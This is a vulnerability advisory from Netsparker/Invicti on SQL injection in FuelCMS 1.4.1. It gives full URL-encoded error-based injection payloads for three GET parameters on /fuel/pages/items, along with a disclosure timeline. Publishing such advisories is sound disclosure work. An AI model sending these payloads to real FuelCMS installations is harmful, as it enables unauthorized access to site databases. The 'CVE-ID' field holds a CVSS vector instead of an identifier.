SQL Injection Vulnerabilities in FuelCMS 1.4.1
Information
Advisory by Netsparker (now Invicti)
Name: SQL Injections in FuelCMS 1.4.1
Affected Software: FuelCMS
Affected Versions: 1.4.1
Homepage: https://www.getfuelcms.com/
Vulnerability: SQL Injections
Severity: Critical
Status: Not Fixed
CVE-ID: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS Score (3.0): 10.0
Invicti Advisory Reference: NS-18-018
Vulnerabilities Tree
SQL Injection
/fuel/pages/items(GET = search_term)/fuel/pages/items(GET = layout)/fuel/pages/items(GET = published)
Technical Details
SQL Injection in /fuel/pages/items (GET = search_term)
URL: http://{domain}/{fuelcms_path}/fuel/pages/items?search_term=-1%22%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%22&layout=&search=Search&view_type=list&offset=3&order=asc&col=location&fuel_inline=3&published=yes&limit=50
Parameter Name: search_term
Parameter Type: GET
Attack Pattern: -1%22+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%22
SQL Injection in /fuel/pages/items (GET = layout)
URL: http://{domain}/{fuelcms_path}/fuel/pages/items?search_term=&layout=-1%22%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%22&search=Search&view_type=list&offset=3&order=asc&col=location&fuel_inline=3&published=yes&limit=50
Parameter Name: layout
Parameter Type: GET
Attack Pattern: -1%22+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%22
SQL Injection in /fuel/pages/items (GET = published)
URL: http://{domain}/{fuelcms_path}/fuel/pages/items?search_term=&layout=&search=Search&view_type=list&offset=3&order=asc&col=location&fuel_inline=3&published=-1%22%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%22&limit=50
Parameter Name: published
Parameter Type: GET
Attack Pattern: -1%22+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%22
For more information on SQL Injection vulnerabilities read the section SQL injection.
Advisory Timeline
23rd October 2017 – First Contact
29th November 2018 – Advisory Released
Credits & Authors
These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.
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